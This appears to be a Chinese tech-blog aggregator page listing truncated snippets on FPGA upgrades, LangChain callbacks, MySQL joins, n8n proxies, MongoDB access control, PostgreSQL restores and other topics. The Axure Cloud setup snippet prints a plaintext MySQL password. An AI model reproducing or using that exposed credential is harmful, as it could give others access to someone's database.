在科技飞速发展的当下&#xff0c;现代建筑对功能和品质的要求日益提升。楼宇自控系统作为建筑智能化的核心技术&#xff0c;宛如一位智慧的“管家”&#xff0c;凭借先进的技术手段&#xff0c;为现代建筑精心打造安全、舒适、节能的全方位解决方案&#xff0c;让建筑真正成为…...

Xilinx 7系列fpga在线升级和跳转

一、常见跳转方式 1&#xff0c;一般FPGA只要上电&#xff0c;就会自动从外部flash的0地址加载程序。 2&#xff0c;而我们所谓的在线式升级就是在flash0地址放一个程序&#xff08;boot/golden image&#xff09;&#xff0c;然后在后面再放一个程序&#xff08;app/update …...

【LangChain核心组件】Callbacks机制深度剖析与实战指南

目录 一、通俗解释&#xff08;举个&#x1f330;&#xff09; 二、具体能干啥&#xff1f; 三、怎么用&#xff1f;&#xff08;一句话说透&#xff09; 四、小结 五、为什么Callbacks是LangChain的灵魂组件&#xff1f; 六、Callbacks核心API解析 1、 基础回调处理器 …...

回调函数用法详细讲解

目录 一、通过几个例子&#xff0c;浅谈一下我的学习见解&#xff01; 二、typedef关键字用法回顾 1&#xff09;基本语法 2&#xff09;主要用途 1、为基本数据类型定义别名 2、为复杂类型定义别名 >>1.数组类型 >>2.指针类型 >>3.结构体类型 >…...

Nature子刊:科学家绘制与全身性癫痫发作相关的大脑网络图谱,为新的脑刺激疗法铺平道路

癫痫是一种古老的神经系统疾病&#xff0c;其历史可以追溯到数千年前。在古代&#xff0c;癫痫患者常被误解为受到神灵的惩罚或灵魂的附体&#xff0c;这种误解导致患者在社会中遭受歧视和排斥。然而&#xff0c;随着现代医学的发展&#xff0c;我们逐渐揭开了癫痫的神秘面纱&a…...

postman使用技巧

postman使用技巧 pre-request需求&#xff1a;三方对接的接口需要在请求头中添加如下参数pre-request 中获取环境变量中的变量值pre-request 中添加请求头 参考&#xff1a; pre-request 需求&#xff1a;三方对接的接口需要在请求头中添加如下参数 Accept: application/json…...

代码随想录算法训练营第十九天

LeetCode题目: 77. 组合216. 组合总和 III17. 电话号码的字母组合2537. 统计好子数组的数目(每日一题)516. 最长回文子序列1039. 多边形三角剖分的最低得分543. 二叉树的直径124. 二叉树中的最大路径和2246. 相邻字符不同的最长路径 其他: 今日总结 往期打卡 77. 组合 跳转: 7…...

MySQL联表查询底层原理

MySQL联表查询底层原理 1. 连接算法概述 MySQL在执行联表查询时&#xff0c;主要使用以下三种算法&#xff1a; 1.1 嵌套循环连接&#xff08;Nested-Loop Join&#xff09; -- 基本原理&#xff1a;对于左表的每一行&#xff0c;都要在右表中查找所有匹配的行 -- 示例查询…...

静态链接part2

编译 语义分析 由语义分析器完成&#xff0c;这个步骤只是完成了对表达式的语法层面的分析&#xff0c;它并不了解这个语句是否真的有意义&#xff08;例如在C语言中两个指针做乘法运算&#xff0c;这个语句在语法上是合法的&#xff0c;但是没有什么意义&#xff1b;还有同样…...

在边缘端进行tensorflow模型的部署(小白初探)

1.配置tensorflow的环境 &#xff08;我是安装GPU版本的&#xff09; 建议参考这个博主的文章&#xff0c;确实非常快速&#xff01; 十分钟安装Tensorflow-gpu2.6.0本机CUDA12 以及numpymatplotlib各包版本协调问题_tensorflow cuda12-CSDN博客 2.学习自制数据集 &#xf…...

合成数据如何赋能大模型预训练:效果与效率的双重加速器

目录 合成数据如何赋能大模型预训练&#xff1a;效果与效率的双重加速器 一、预训练模型为何需要合成数据&#xff1f; ✅ 克服真实数据的稀缺与偏倚 ✅ 控制训练内容结构与分布 ✅ 提升学习效率与训练稳定性 二、哪些预训练任务适合用合成数据&#xff1f; 三、如何构建…...

【n8n docker 部署的代理问题】解决n8n部署无法访问openai等外国大模型厂商的api

n8n docker 部署的代理问题&#xff1a;解决无法访问 OpenAI 等外国大模型厂商的 API 问题背景 在使用 n8n 进行自动化工作流开发时&#xff0c;经常需要调用 OpenAI 等外国大模型厂商的 API。然而&#xff0c;由于网络限制&#xff0c;直接部署的 n8n 容器无法访问这些 API …...

MongoDB 分账号限制数据访问

MongoDB 分账号限制数据访问 在 MongoDB 中&#xff0c;可以通过几种方式实现不同账号只能访问特定数据的需求&#xff0c;类似于你在 PostgreSQL 中实现的功能。 1. 基于角色的访问控制 (RBAC) 创建用户并分配角色 // 创建只能读取特定数据库的用户 use admin db.createUs…...

可控硅的工作原理和设计参考

可控硅物理结构如下图所示&#xff0c;P-N-P-N&#xff0c;就象两只背靠背的三极管。我们先来分析栅极不作电气联接的情况。当可控硅阴极电位大于阳极电位&#xff0c;J1和J3结反偏&#xff0c;器件截止。当可控硅阴极电位小于阳极电位&#xff0c;J1和J3正偏&#xff0c;但J2反…...

搭建axure cloud私有化平台

要求 https://blog.csdn.net/ss810540895/article/details/145833470 能不能找个空闲服务器&#xff0c;搭建一下 axure服务器&#xff0c;之前他们提供的免费服务终止了&#xff0c;我们需要尽快搭建一下服务。 步骤 mysql 数据库密码 Tbit36987. 分配权限 CREATE USER root…...

【无标题】spark SQL核心编程

MySQL Spark SQL 可以通过 JDBC 从关系型数据库中读取数据的方式创建 DataFrame&#xff0c;通过对 DataFrame 一系列的计算后&#xff0c;还可以将数据再写回关系型数据库中。 IDEA通过JDBC对MySQL进行操作&#xff1a; 1&#xff09; 导入依赖 <dependency> &l…...

PostgreSql dump导入问题集合

PostgreSql dump导入问题集合 删除数据库无法删除问题 SELECT pg_terminate_backend(pg_stat_activity.pid) FROM pg_stat_activity WHERE datnametest AND pid<>pg_backend_pid();版本检查 pg_restore -l D:/suian/vrms2_backup.dump > D:/suian/vrms22list.txt…...